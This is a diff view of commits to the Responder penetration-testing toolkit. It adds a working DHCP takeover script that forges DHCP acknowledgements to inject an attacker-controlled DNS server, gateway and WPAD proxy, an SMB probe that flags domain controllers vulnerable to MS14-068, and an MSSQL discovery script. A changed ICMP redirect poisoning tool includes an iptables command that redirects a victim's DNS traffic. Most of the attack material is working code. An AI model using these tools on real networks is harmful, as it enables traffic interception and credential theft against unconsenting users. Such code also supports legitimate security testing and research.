mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-06 04:31:30 +00:00
Compare commits
21 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7a95ef1474 | ||
|
|
36ef78f85a | ||
|
|
c05bdfce17 | ||
|
|
cf7b4771ca | ||
|
|
f69e93c02e | ||
|
|
235f0fa8ae | ||
|
|
0660cc2fe7 | ||
|
|
823915fe44 | ||
|
|
5c9fec923c | ||
|
|
4558861ce2 | ||
|
|
af30d21908 | ||
|
|
a21aaf7987 | ||
|
|
2e4ed61bba | ||
|
|
365505f95c | ||
|
|
1c79bedac9 | ||
|
|
dcede0fdf5 | ||
|
|
c97a13c1bd | ||
|
|
f377326d96 | ||
|
|
b14ff0b36a | ||
|
|
05b78079a8 | ||
|
|
90479adcca |
14
CHANGELOG
14
CHANGELOG
@@ -1,4 +1,16 @@
|
||||
ChangeLog Responder 2.0:
|
||||
ChangeLog Responder 2.1.4:
|
||||
- Added: FindSMB2UPTime.py
|
||||
- Added: FindSQLSrv.py
|
||||
- Added: DontRespondTo and DontRespondToName options in Responder.conf
|
||||
- Added: Lanman module
|
||||
- Added: Analyze mode
|
||||
- Added: SMBRelay
|
||||
- Removed: Old style options (On/Off). Just use -r instead of -r On.
|
||||
- Added [DHCP.py]: in-scope target, windows >= Vista support (-R) and unicast answers only.
|
||||
- Added: In-scope llmnr/nbt-ns name option
|
||||
- Added: Kerberos hash support
|
||||
- Added: DHCP INFORM take over tool (DHCP.py)
|
||||
- Added: MDNS Poisoner.
|
||||
- Added: -F command line switch to force NTLM authentication on PAC file retrieval.
|
||||
- Added: Ability to inject custom HTML in HTTP responses.
|
||||
- Added: New WPAD proxy server. Enabled by default.
|
||||
|
||||
379
DHCP.py
Executable file
379
DHCP.py
Executable file
@@ -0,0 +1,379 @@
|
||||
#! /usr/bin/env python
|
||||
# This utility is part of NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys,struct,socket,re,optparse,ConfigParser,os
|
||||
from odict import OrderedDict
|
||||
from socket import inet_aton, inet_ntoa
|
||||
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1',
|
||||
prog=sys.argv[0],
|
||||
)
|
||||
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
|
||||
|
||||
parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
|
||||
|
||||
parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
|
||||
|
||||
parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
|
||||
|
||||
parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
|
||||
|
||||
parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
|
||||
|
||||
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
||||
|
||||
parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD")
|
||||
|
||||
parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof")
|
||||
|
||||
parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request")
|
||||
|
||||
options, args = parser.parse_args()
|
||||
|
||||
def ShowWelcome():
|
||||
Message = 'DHCP INFORM Take Over 0.2\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nBy default, this script will only inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a Windows >= Vista and any linux box, use -R (can be noisy)\n\033[1m\033[31mUse Responder.conf\'s RespondTo setting for in-scope only targets\033[0m\n'
|
||||
print Message
|
||||
|
||||
if options.OURIP is None:
|
||||
print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.Interface is None:
|
||||
print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.RouterIP is None:
|
||||
print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.DNSIP is None:
|
||||
print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.DNSIP2 is None:
|
||||
print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
ShowWelcome()
|
||||
|
||||
#Config parsing
|
||||
ResponderPATH = os.path.dirname(__file__)
|
||||
config = ConfigParser.ConfigParser()
|
||||
config.read(os.path.join(ResponderPATH,'Responder.conf'))
|
||||
RespondTo = config.get('Responder Core', 'RespondTo').strip()
|
||||
|
||||
#Setting some vars
|
||||
Interface = options.Interface
|
||||
OURIP = options.OURIP
|
||||
ROUTERIP = options.RouterIP
|
||||
NETMASK = options.Netmask
|
||||
DHCPSERVER = options.OURIP
|
||||
DNSIP = options.DNSIP
|
||||
DNSIP2 = options.DNSIP2
|
||||
DNSNAME = options.DNSNAME
|
||||
WPADSRV = options.WPAD
|
||||
Spoof = options.Spoof
|
||||
Request = options.Request
|
||||
|
||||
if Spoof:
|
||||
DHCPSERVER = ROUTERIP
|
||||
|
||||
def SpoofIP(Spoof):
|
||||
if Spoof:
|
||||
return ROUTERIP
|
||||
else:
|
||||
return OURIP
|
||||
|
||||
def RespondToSpecificHost(RespondTo):
|
||||
if len(RespondTo)>=1 and RespondTo != ['']:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def RespondToIPScope(RespondTo, ClientIp):
|
||||
if ClientIp in RespondTo:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
|
||||
#####################################################################
|
||||
# Server Stuff
|
||||
#####################################################################
|
||||
|
||||
class IPHead(Packet):
|
||||
fields = OrderedDict([
|
||||
("Version", "\x45"),
|
||||
("DiffServices", "\x00"),
|
||||
("TotalLen", "\x00\x00"),
|
||||
("Ident", "\x00\x00"),
|
||||
("Flags", "\x00\x00"),
|
||||
("TTL", "\x40"),
|
||||
("Protocol", "\x11"),
|
||||
("Checksum", "\x00\x00"),
|
||||
("SrcIP", ""),
|
||||
("DstIP", ""),
|
||||
])
|
||||
|
||||
class UDP(Packet):
|
||||
fields = OrderedDict([
|
||||
("SrcPort", "\x00\x43"),
|
||||
("DstPort", "\x00\x44"),
|
||||
("Len", "\x00\x00"),
|
||||
("Checksum", "\x00\x00"),
|
||||
("Data", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)##include udp packet.
|
||||
|
||||
class DHCPACK(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x02"),
|
||||
("HdwType", "\x01"),
|
||||
("HdwLen", "\x06"),
|
||||
("Hops", "\x00"),
|
||||
("Tid", "\x22\x1b\xe0\x1a"),
|
||||
("ElapsedSec", "\x00\x00"),
|
||||
("BootpFlags", "\x00\x00"),
|
||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||
("NextServerIP", "\x00\x00\x00\x00"),
|
||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||
("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
|
||||
("ClientMacPadding", "\x00" *10),
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("DHCPCode", "\x35"), #DHCP Message
|
||||
("DHCPCodeLen", "\x01"),
|
||||
("DHCPOpCode", "\x05"), #Msgtype(ACK)
|
||||
("Op54", "\x36"),
|
||||
("Op54Len", "\x04"),
|
||||
("Op54Str", ""), #DHCP Server
|
||||
("Op51", "\x33"),
|
||||
("Op51Len", "\x04"),
|
||||
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day.
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
("Op15", "\x0f"),
|
||||
("Op15Len", "\x0e"),
|
||||
("Op15Str", DNSNAME), #DNS Name
|
||||
("Op3", "\x03"),
|
||||
("Op3Len", "\x04"),
|
||||
("Op3Str", ""), #Router
|
||||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252Str", WPADSRV), #Wpad Server.
|
||||
("Op255", "\xff"),
|
||||
("Padding", "\x00"),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = inet_aton(DHCPSERVER)
|
||||
self.fields["Op1Str"] = inet_aton(NETMASK)
|
||||
self.fields["Op3Str"] = inet_aton(ROUTERIP)
|
||||
self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
|
||||
self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
|
||||
self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
|
||||
|
||||
class DHCPInformACK(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x02"),
|
||||
("HdwType", "\x01"),
|
||||
("HdwLen", "\x06"),
|
||||
("Hops", "\x00"),
|
||||
("Tid", "\x22\x1b\xe0\x1a"),
|
||||
("ElapsedSec", "\x00\x00"),
|
||||
("BootpFlags", "\x00\x00"),
|
||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||
("NextServerIP", "\x00\x00\x00\x00"),
|
||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||
("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
|
||||
("ClientMacPadding", "\x00" *10),
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
|
||||
("Op54", "\x36"),
|
||||
("Op54Len", "\x04"),
|
||||
("Op54Str", ""), #DHCP Server
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
("Op15", "\x0f"),
|
||||
("Op15Len", "\x0e"),
|
||||
("Op15Str", DNSNAME), #DNS Name
|
||||
("Op3", "\x03"),
|
||||
("Op3Len", "\x04"),
|
||||
("Op3Str", ""), #Router
|
||||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252Str", WPADSRV), #Wpad Server.
|
||||
("Op255", "\xff"),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = inet_aton(DHCPSERVER)
|
||||
self.fields["Op1Str"] = inet_aton(NETMASK)
|
||||
self.fields["Op3Str"] = inet_aton(ROUTERIP)
|
||||
self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
|
||||
self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
|
||||
self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
|
||||
|
||||
def ParseMac(data):
|
||||
return '\nDst mac:%s SrcMac:%s'%(data[0][0:6].encode('hex'),data[0][6:12].encode('hex'))
|
||||
|
||||
def IsUDP(data):
|
||||
if data[0][23:24] == "\x11":
|
||||
return True
|
||||
if data[0][23:24] == "\x06":
|
||||
return False
|
||||
|
||||
def ParseSrcDSTAddr(data):
|
||||
SrcIP = inet_ntoa(data[0][26:30])
|
||||
DstIP = inet_ntoa(data[0][30:34])
|
||||
SrcPort = struct.unpack('>H',data[0][34:36])[0]
|
||||
DstPort = struct.unpack('>H',data[0][36:38])[0]
|
||||
return SrcIP,SrcPort,DstIP,DstPort
|
||||
|
||||
def FindIP(data):
|
||||
IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
|
||||
return ''.join(IP[0:4])
|
||||
|
||||
def ParseDHCPCode(data):
|
||||
PTid = data[4:8]
|
||||
Seconds = data[8:10]
|
||||
CurrentIP = inet_ntoa(data[12:16])
|
||||
RequestedIP = inet_ntoa(data[16:20])
|
||||
MacAddr = data[28:34]
|
||||
OpCode = data[242:243]
|
||||
RequestIP = data[245:249]
|
||||
if OpCode == "\x08":
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(CurrentIP))
|
||||
p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(CurrentIP,68))
|
||||
return '\033[1m\033[31mDHCP Inform received:\033[0m Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
|
||||
if OpCode == "\x03":
|
||||
if Request:
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = inet_ntoa(IP)
|
||||
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,68))
|
||||
return '\033[1m\033[31mIn-scope DHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
if RespondToSpecificHost(RespondTo) == False:
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,68))
|
||||
return '\033[1m\033[31mDHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
|
||||
if OpCode == "\x01":
|
||||
if Request:
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = inet_ntoa(IP)
|
||||
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,0))
|
||||
return '\033[1m\033[31mIn-scope DHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
if RespondToSpecificHost(RespondTo) == False:
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,0))
|
||||
return '\033[1m\033[31mDHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
def SendDHCP(packet,Host):
|
||||
Protocol = 0x0800
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
s.sendto(packet, Host)
|
||||
|
||||
def SniffUDPMac():
|
||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||
Protocol = 0x0800
|
||||
s.bind((Interface, Protocol))
|
||||
while True:
|
||||
data = s.recvfrom(65535)
|
||||
if IsUDP(data):
|
||||
SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data)
|
||||
if SrcPort == 67 or DstPort == 67:
|
||||
Message = ParseDHCPCode(data[0][42:])
|
||||
if Message:
|
||||
print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
|
||||
print Message
|
||||
|
||||
|
||||
SniffUDPMac()
|
||||
116
FindSMB2UPTime.py
Executable file
116
FindSMB2UPTime.py
Executable file
@@ -0,0 +1,116 @@
|
||||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import datetime, struct
|
||||
import sys,socket,struct
|
||||
from socket import *
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
def GetBootTime(data):
|
||||
Filetime = int(struct.unpack('<q',data)[0])
|
||||
t = divmod(Filetime - 116444736000000000, 10000000)
|
||||
time = datetime.datetime.fromtimestamp(t[0])
|
||||
return time, time.strftime('%Y-%m-%d %H:%M:%S')
|
||||
|
||||
|
||||
def IsDCVuln(t):
|
||||
Date = datetime.datetime(2014, 11, 17, 0, 30)
|
||||
if t[0] < Date:
|
||||
print "DC is up since:", t[1]
|
||||
print "This DC is vulnerable to MS14-068"
|
||||
else:
|
||||
print "DC is up since:", t[1]
|
||||
|
||||
def NbtLen(data):
|
||||
Len = struct.pack(">i", len(data))
|
||||
return Len
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("Proto", "\xff\x53\x4d\x42"),
|
||||
("Cmd", "\x72"),
|
||||
("Error-Code", "\x00\x00\x00\x00" ),
|
||||
("Flag1", "\x10"),
|
||||
("Flag2", "\x00\x00"),
|
||||
("Pidhigh", "\x00\x00"),
|
||||
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("Reserved", "\x00\x00"),
|
||||
("TID", "\x00\x00"),
|
||||
("PID", "\xff\xfe"),
|
||||
("UID", "\x00\x00"),
|
||||
("MID", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNego(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x00"),
|
||||
("Bcc", "\x62\x00"),
|
||||
("Data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("StrType","\x02" ),
|
||||
("dialect", "NT LM 0.12\x00"),
|
||||
("StrType1","\x02"),
|
||||
("dialect1", "SMB 2.002\x00"),
|
||||
("StrType2","\x02"),
|
||||
("dialect2", "SMB 2.???\x00"),
|
||||
])
|
||||
|
||||
def run(host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.connect(host)
|
||||
s.settimeout(0.1)
|
||||
h = SMBHeader(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
|
||||
n = SMBNego(Data = SMBNegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = NbtLen(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
try:
|
||||
data = s.recv(1024)
|
||||
if data[4:5] == "\xff":
|
||||
print "This host doesn't support SMBv2"
|
||||
if data[4:5] == "\xfe":
|
||||
IsDCVuln(GetBootTime(data[116:124]))
|
||||
except Exception:
|
||||
s.close()
|
||||
raise
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv)<=1:
|
||||
sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address')
|
||||
host = sys.argv[1],445
|
||||
run(host)
|
||||
39
FindSQLSrv.py
Executable file
39
FindSQLSrv.py
Executable file
@@ -0,0 +1,39 @@
|
||||
#! /usr/bin/env python
|
||||
# Created by Laurent Gaffie
|
||||
# This file is part of the Responder toolkit.
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import socket
|
||||
from socket import *
|
||||
|
||||
print 'MSSQL Server Finder 0.1\nPlease send bugs/comments/e-beer to: lgaffie@trustwave.com\n'
|
||||
|
||||
s = socket(AF_INET,SOCK_DGRAM)
|
||||
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
|
||||
s.settimeout(2)
|
||||
s.sendto('\x02',('255.255.255.255',1434))
|
||||
try:
|
||||
while 1:
|
||||
data, address = s.recvfrom(8092)
|
||||
if not data:
|
||||
break
|
||||
else:
|
||||
print "===============================================================\nHost details:",address[0]
|
||||
print data[2:]
|
||||
print "===============================================================\n"
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys,socket,struct,optparse,random,pipes
|
||||
@@ -43,32 +43,32 @@ parser.add_option('-a', '--alternate',action="store", help="The alternate gatewa
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if options.OURIP is None:
|
||||
print "-i mandatory option is missing.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
print "-i mandatory option is missing.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.OriginalGwAddr is None:
|
||||
print "-g mandatory option is missing, please provide the original gateway address.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
print "-g mandatory option is missing, please provide the original gateway address.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.VictimIP is None:
|
||||
print "-t mandatory option is missing, please provide a target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
print "-t mandatory option is missing, please provide a target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.Interface is None:
|
||||
print "-I mandatory option is missing, please provide your network interface.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
print "-I mandatory option is missing, please provide your network interface.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.ToThisHost is None:
|
||||
print "-r mandatory option is missing, please provide a destination target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
print "-r mandatory option is missing, please provide a destination target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.AlternateGwAddr is None:
|
||||
AlternateGwAddr = options.OURIP
|
||||
AlternateGwAddr = options.OURIP
|
||||
|
||||
#Setting some vars.
|
||||
OURIP = options.OURIP
|
||||
@@ -80,9 +80,9 @@ ToThisHost2 = options.ToThisHost2
|
||||
Interface = options.Interface
|
||||
|
||||
def Show_Help(ExtraHelpData):
|
||||
help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n"
|
||||
help+= ExtraHelpData
|
||||
print help
|
||||
help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n"
|
||||
help+= ExtraHelpData
|
||||
print help
|
||||
|
||||
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
|
||||
|
||||
@@ -133,9 +133,9 @@ class ARPWhoHas(Packet):
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
def calculate(self):
|
||||
self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
|
||||
self.fields["SenderIP"] = inet_aton(OURIP)
|
||||
self.fields["SenderIP"] = inet_aton(OURIP)
|
||||
|
||||
#####################################################################
|
||||
#ICMP Redirect Packets
|
||||
@@ -165,9 +165,9 @@ class IPPacket(Packet):
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
def calculate(self):
|
||||
self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
|
||||
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
|
||||
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
|
||||
self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
|
||||
# Calc Len First
|
||||
CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
|
||||
@@ -186,9 +186,9 @@ class ICMPRedir(Packet):
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
def calculate(self):
|
||||
#Set the values
|
||||
self.fields["GwAddr"] = inet_aton(OURIP)
|
||||
self.fields["GwAddr"] = inet_aton(OURIP)
|
||||
